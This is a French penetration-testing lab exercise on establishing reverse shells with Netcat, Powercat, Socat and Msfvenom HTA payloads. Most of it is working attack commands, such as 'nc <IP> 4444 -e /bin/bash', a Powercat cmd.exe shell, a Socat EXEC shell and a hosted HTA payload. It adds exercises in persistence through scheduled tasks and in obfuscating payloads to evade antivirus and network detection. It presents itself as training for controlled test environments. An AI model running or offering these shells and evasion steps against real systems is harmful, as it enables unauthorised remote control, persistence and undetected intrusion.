Objectifs du TP

Ce TP a pour objectif de vous apprendre à établir des reverse shells sur des systèmes cibles à l’aide de différents outils. Vous allez apprendre à utiliser :

  • Netcat : Un outil incontournable pour établir des connexions réseau simples et efficaces.

  • Powercat : L’équivalent de Netcat pour PowerShell, pratique pour les environnements Windows.

  • Socat : Un outil plus puissant que Netcat, offrant davantage d’options et de fonctionnalités.

  • Msfvenom HTA : Outil de Metasploit permettant de générer des payloads pour des reverse shells.

Prérequis

  • Un système Linux et un système Windows (réels ou virtuels) pour exécuter les tests.

  • Un environnement de test sécurisé, car les reverse shells peuvent être dangereux si utilisés de manière inappropriée.

  • Accès à un terminal (Bash ou PowerShell).

  • Installations de Netcat, Powercat, Socat et Metasploit.

Étape 1 : Configuration des Outils

Netcat

Pour installer Netcat (si ce n’est pas déjà fait) sur un système Linux, exécutez la commande suivante :

sudo apt-get install netcat -y

Powercat

Pour télécharger Powercat sur un système Windows, exécutez la commande PowerShell suivante :

Invoke-WebRequest -Uri https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1 -OutFile powercat.ps1

Socat

Pour installer Socat sur un système Linux, utilisez la commande suivante :

sudo apt-get install socat -y

Msfvenom (Metasploit)

Pour utiliser Msfvenom, vous devez avoir Metasploit installé. Pour l’installer sur Linux, utilisez la commande suivante :

curl https://raw.githubusercontent.com/rapid7/metasploit-framework/master/scripts/msfupdate | sudo bash

Étape 2 : Création d’un Reverse Shell avec Netcat

Netcat est un outil très polyvalent pour établir des reverse shells.

Action 1 : Démarrer un Listener avec Netcat

Sur votre machine d’attaque (Linux), lancez Netcat en mode écoute pour attendre une connexion de la cible :

nc -lvnp 4444

Action 2 : Exécution d’un Reverse Shell sur la Machine Cible

Sur la machine cible, exécutez la commande suivante pour établir une connexion vers la machine d’attaque :

nc <IP_de_l'attaquant> 4444 -e /bin/bash

Actions à Réaliser :

  1. Tester la Connexion : Une fois la connexion établie, tapez des commandes dans le shell de Netcat pour vérifier le contrôle de la cible.

  2. Capturer des Informations Système : Utilisez des commandes comme uname -a et whoami pour obtenir des informations sur le système.

  3. Documenter les Résultats : Notez les commandes utilisées et les informations récupérées pour comprendre les faiblesses exploitées.

  4. Simuler une Rupture de Connexion : Fermez la connexion et relancez-la pour voir si la cible peut être reconnectée sans problème.

  5. Automatiser avec un Script : Créez un script Bash qui lance automatiquement le listener Netcat et établit la connexion avec un simple exécutable.

Étape 3 : Création d’un Reverse Shell avec Powercat

Powercat est la version PowerShell de Netcat, ce qui le rend idéal pour des cibles sous Windows.

Action 1 : Démarrer un Listener avec Powercat

Sur la machine d’attaque (Linux), vous pouvez utiliser Netcat comme listener :

nc -lvnp 4444

Action 2 : Exécution du Reverse Shell sur la Machine Cible (Windows)

Sur la machine Windows, importez Powercat et lancez le reverse shell :

Import-Module .\powercat.ps1
powercat -c <IP_de_l'attaquant> -p 4444 -e cmd.exe

Actions à Réaliser :

  1. Vérifier la Connexion : Assurez-vous que la connexion est bien établie et exécutez des commandes sur le système cible.

  2. Lister les Processus : Utilisez des commandes comme tasklist pour voir les processus en cours sur la cible.

  3. Modifier le Registre : Essayez de modifier des clés de registre pour tester l’accès administrateur.

  4. Persistance : Créez une tâche planifiée pour rétablir automatiquement la connexion au démarrage du système.

  5. Désactiver la Connexion : Arrêtez la connexion et évaluez si elle peut être détectée par un antivirus.

Étape 4 : Création d’un Reverse Shell avec Socat

Socat est un outil puissant, souvent décrit comme un “Netcat sur stéroïdes”, avec plus de fonctionnalités.

Action 1 : Démarrer un Listener avec Socat

Sur la machine d’attaque, lancez un listener Socat :

socat TCP-LISTEN:4444,reuseaddr,fork EXEC:/bin/bash

Action 2 : Exécution du Reverse Shell sur la Machine Cible

Sur la machine cible, exécutez la commande suivante :

socat TCP:<IP_de_l'attaquant>:4444 EXEC:/bin/bash

Actions à Réaliser :

  1. Tester la Connexion : Vérifiez la connexion en utilisant des commandes comme ls et pwd.

  2. Configurer le Tunnel : Utilisez Socat pour établir un tunnel chiffré avec OpenSSL pour éviter une détection réseau.

  3. Changer de Port : Réessayez la connexion sur un autre port et vérifiez la stabilité.

  4. Automatiser le Déploiement : Créez un script d’automatisation pour lancer le listener et le reverse shell en une seule étape.

  5. Analyse de Réseau : Utilisez tcpdump sur la machine attaquante pour observer le trafic réseau et vérifier comment la connexion est établie.

Étape 5 : Création d’un Reverse Shell avec Msfvenom HTA

Msfvenom, faisant partie de Metasploit, est un excellent outil pour générer des payloads sous forme de HTA (HTML Application) pour les reverse shells.

Action 1 : Génération d’un Payload HTA

Utilisez la commande suivante pour générer un payload HTA pour un reverse shell :

msfvenom -p windows/shell_reverse_tcp LHOST=<IP_de_l'attaquant> LPORT=4444 -f hta-psh -o shell.hta

Action 2 : Héberger le Fichier HTA

Pour héberger le fichier HTA sur la machine attaquante, vous pouvez utiliser un serveur HTTP simple :

python3 -m http.server 8080

Action 3 : Exécution du Reverse Shell sur la Machine Cible

Sur la machine cible (Windows), ouvrez le fichier HTA via un navigateur pour déclencher l’exécution du reverse shell.

Actions à Réaliser :

  1. Tester l’Accès : Assurez-vous que la connexion est établie sur Metasploit ou Netcat.

  2. Analyser la Détection : Vérifiez si un antivirus bloque l’exécution du payload HTA.

  3. Modifier le Payload : Utilisez des techniques de camouflage pour modifier le payload et éviter la détection.

  4. Obfuscation : Obfusquez le script PowerShell généré par Msfvenom pour le rendre plus difficile à détecter.

  5. Utilisation de Metasploit : Lancez Metasploit pour gérer la connexion. Configurez le handler avec les options appropriées pour capturer le reverse shell.

Étape 6 : Utilisation de Ressources en Ligne pour Générer des Reverse Shells

Certaines ressources en ligne peuvent simplifier la génération de reverse shells et la manipulation des données associées.

revshells.com : Générer des Reverse Shells Facilement

revshells.com est un site web pratique qui vous permet de générer rapidement des commandes pour différents types de reverse shells (Netcat, Bash, PowerShell, PHP, etc.).

Actions à Réaliser :
  1. Accéder au Site : Rendez-vous sur revshells.com et explorez les différentes options disponibles.

  2. Générer une Commande de Reverse Shell : Sélectionnez les paramètres (comme l’adresse IP et le port) et générez une commande de reverse shell pour Netcat, Powercat, ou Socat.

  3. Tester les Commandes : Utilisez les commandes générées sur vos machines cibles pour établir un reverse shell et vérifier leur efficacité.

  4. Comparer les Commandes : Comparez les commandes générées par revshells.com avec celles que vous avez créées manuellement pour voir s’il y a des optimisations possibles.

  5. Documentation : Documentez chaque type de commande utilisée et ses résultats pour référence future.

gchq.github.io/CyberChef : Manipulation de Données

CyberChef est un outil en ligne puissant qui permet de manipuler des données, idéal pour des tâches de conversion, de chiffrement, ou de décodage.

Actions à Réaliser :
  1. Accéder à CyberChef : Allez sur CyberChef et explorez l’interface.

  2. Obfuscation de Payloads : Utilisez CyberChef pour obfusquer des scripts PowerShell ou des commandes Bash afin d’éviter la détection par les antivirus.

  3. Décodage de Données : Prenez un payload chiffré ou encodé et utilisez CyberChef pour le décoder et comprendre ses fonctions.

  4. Conversion des Formats : Utilisez CyberChef pour convertir des données entre différents formats (par exemple, Base64, Hexadécimal, etc.) afin d’intégrer des payloads dans vos reverse shells.

  5. Automatiser des Tâches : Créez des recettes sur CyberChef pour automatiser des tâches récurrentes comme l’obfuscation et le décodage des payloads.

  6. Documentation des Recettes : Notez chaque recette utilisée et expliquez comment elle peut être appliquée à un reverse shell ou à une autre tâche de sécurité.

Conclusion

Ce TP vous a permis d’explorer quatre méthodes différentes pour établir des reverse shells, à l’aide de Netcat, Powercat, Socat et Msfvenom HTA. Vous avez appris à configurer un listener, à établir une connexion et à maintenir l’accès sur différents systèmes d’exploitation. Ces techniques sont puissantes et doivent être utilisées de manière responsable et uniquement dans un contexte éthique.

Actions Finales :

  • Récapitulatif des Outils et Techniques : Faites une liste des outils utilisés et des techniques employées pour chaque reverse shell.

  • Retour d’Expérience : Notez les différences entre les différents outils et laquelle des méthodes était la plus fiable ou la plus difficile à détecter.

  • Documentation et Partage : Documentez toutes les étapes et partagez-les avec votre équipe pour discuter des résultats et des améliorations potentielles.

 

Retour en haut